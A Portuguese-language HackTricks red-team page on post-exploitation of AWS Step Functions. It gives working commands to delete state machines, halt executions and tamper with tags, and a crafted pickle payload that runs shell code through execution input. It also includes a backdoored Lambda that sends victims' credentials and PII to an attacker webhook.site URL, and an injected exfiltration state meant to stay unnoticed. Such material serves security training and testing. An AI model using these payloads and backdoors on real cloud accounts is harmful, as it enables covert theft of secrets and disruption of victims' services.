AWS - Step Functions Post Exploitation
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do đŹ Discord group ou do telegram group ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
Step Functions
Para mais informaçÔes sobre este serviço da AWS, consulte:
states:RevealSecrets
Esta permissão permite revelar dados secretos dentro de uma execução. Para isso, é necessårio definir Inspection level como TRACE e o parùmetro revealSecrets para true.
.png)
states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias
Um atacante com essas permissĂ”es seria capaz de excluir permanentemente state machines, suas versĂ”es e aliases. Isso pode interromper fluxos de trabalho crĂticos, resultar em perda de dados e exigir um tempo significativo para recuperar e restaurar as state machines afetadas. AlĂ©m disso, permitiria a um atacante apagar os rastros usados, atrapalhar investigaçÔes forenses e potencialmente incapacitar operaçÔes removendo processos essenciais de automação e configuraçÔes de estado.
Note
- Ao excluir uma state machine, vocĂȘ tambĂ©m exclui todas as suas versĂ”es e aliases associados.
- Ao excluir um alias de state machine, vocĂȘ nĂŁo exclui as versĂ”es de state machine que fazem referĂȘncia a esse alias.
- NĂŁo Ă© possĂvel excluir uma versĂŁo de state machine que esteja atualmente referenciada por um ou mais aliases.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
- Impacto Potencial: Interrupção de fluxos de trabalho crĂticos, perda de dados e tempo de inatividade operacional.
states:UpdateMapRun
Um atacante com essa permissĂŁo seria capaz de manipular a configuração de falha do Map Run e a configuração de paralelismo, podendo aumentar ou diminuir o nĂșmero mĂĄximo de execuçÔes de fluxos de trabalho filho permitidas, afetando diretamente o desempenho do serviço. AlĂ©m disso, um atacante poderia adulterar a porcentagem e a contagem de falhas toleradas, podendo reduzir esse valor para 0, de modo que toda vez que um item falhar, todo o Map Run falharia, afetando diretamente a execução da mĂĄquina de estados e potencialmente interrompendo fluxos de trabalho crĂticos.
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
- Impacto potencial: Degradação de desempenho e interrupção de fluxos de trabalho crĂticos.
states:StopExecution
Um atacante com essa permissĂŁo poderia interromper a execução de qualquer mĂĄquina de estados, prejudicando fluxos de trabalho e processos em andamento. Isso pode levar a transaçÔes incompletas, operaçÔes comerciais paralisadas e possĂvel corrupção de dados.
Warning
Esta ação não é suportada por express state machines.
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
- Impacto Potencial: Interrupção de fluxos de trabalho em andamento, tempo de inatividade operacional e possĂvel corrupção de dados.
states:TagResource, states:UntagResource
Um atacante poderia adicionar, modificar ou remover tags de recursos do Step Functions, prejudicando a alocação de custos da sua organização, o rastreamento de recursos e as polĂticas de controle de acesso baseadas em tags.
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
Impacto Potencial: Disrupção na alocação de custos, rastreamento de recursos e polĂticas de controle de acesso baseadas em tags.
states:StartExecution -> Input Injection Into Dangerous Sinks
states:StartExecution Ă© um entrypoint de data-plane. Se uma state machine encaminhar input controlado pelo atacante para uma task que contĂ©m um dangerous sink (por exemplo uma Lambda que faz pickle.loads(base64.b64decode(payload_b64))), Ă s vezes vocĂȘ pode transformar StartExecution em code execution e secret exfiltration atravĂ©s do output da execução, sem qualquer permissĂŁo para atualizar a state machine.
Descobrir o fluxo de trabalho e a Lambda invocada
Se vocĂȘ tiver states:List* / states:Describe*, vocĂȘ pode enumerar e ler a definição da state machine:
REGION=us-east-1
SM_ARN="<state_machine_arn>"
aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text
Se vocĂȘ tambĂ©m tiver lambda:GetFunction, pode baixar o pacote de cĂłdigo da Lambda para entender como a entrada Ă© processada (e confirmar se existe unsafe deserialization):
LAMBDA_ARN="<lambda_arn_from_definition>"
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
ls -la /tmp/lambda_code
Exemplo: crafted pickle in execution input (Python)
Se a Lambda unpickles attacker-controlled data, um malicious pickle pode executar cĂłdigo durante deserialization. Exemplo de payload que avalia uma Python expression no Lambda runtime:
PAYLOAD_B64="$(python3 - <<'PY'
import base64, pickle
class P:
def __reduce__(self):
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
return (eval, ("__import__('os').popen('id').read()",))
print(base64.b64encode(pickle.dumps(P())).decode())
PY
)"
EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text
Impacto: Quaisquer permissĂ”es que o task role tenha (Secrets Manager reads, S3 writes, KMS decrypt, etc.) podem tornar-se acessĂveis via crafted input, e o resultado pode ser retornado na saĂda de execução do Step Functions.
states:UpdateStateMachine, lambda:UpdateFunctionCode
Um atacante que comprometa um usuårio ou role com as seguintes permissÔes:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
âŠpode conduzir um post-exploitation attack de alto impacto e furtivo combinando Lambda backdooring com Step Function logic manipulation.
Este cenĂĄrio assume que a vĂtima usa AWS Step Functions para orquestrar workflows que processam entradas sensĂveis, como credenciais, tokens, ou PII.
Exemplo de invocação da vĂtima:
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
Se a Step Function estiver configurada para invocar uma Lambda como LegitBusinessLogic, o atacante pode prosseguir com duas variantes de ataque furtivas:
Atualizou a função Lambda
O atacante modifica o código da função Lambda jå usada pela Step Function (LegitBusinessLogic) para exfiltrar silenciosamente os dados de entrada.
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
Adicionar um estado malicioso ao Step Function
Alternativamente, o atacante pode injetar um exfiltration state no inĂcio do fluxo de trabalho atualizando a definição do Step Function.
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
O atacante pode ser ainda mais furtivo ao atualizar a definição de estado para algo como isto { âCommentâ: âBackdoored for Exfiltrationâ, âStartAtâ: âExfiltrateSecretsâ, âStatesâ: { âExfiltrateSecretsâ: { âTypeâ: âTaskâ, âResourceâ: âarn:aws:lambda:us-east-1:victim-id:function:SendToAttackerâ, âInputPathâ: â$â, âResultPathâ: â$.exfilâ, âNextâ: âOriginalStateâ }, âOriginalStateâ: { âTypeâ: âTaskâ, âResourceâ: âarn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogicâ, âEndâ: true } } } onde a vĂtima nĂŁo perceberĂĄ a diferença
Configuração da vĂtima (Contexto para Exploit)
- Uma Step Function (
LegitStateMachine) Ă© usada para processar entrada sensĂvel do usuĂĄrio. - Ela chama uma ou mais funçÔes Lambda, como
LegitBusinessLogic.
Impacto Potencial:
- Silent exfiltration of sensitive data including secrets, credentials, API keys, and PII.
- Sem erros visĂveis ou falhas na execução do workflow.
- DifĂcil de detectar sem auditar o cĂłdigo Lambda ou os traces de execução.
- Permite persistĂȘncia de longo prazo se o backdoor permanecer no cĂłdigo ou na lĂłgica ASL.
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do đŹ Discord group ou do telegram group ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

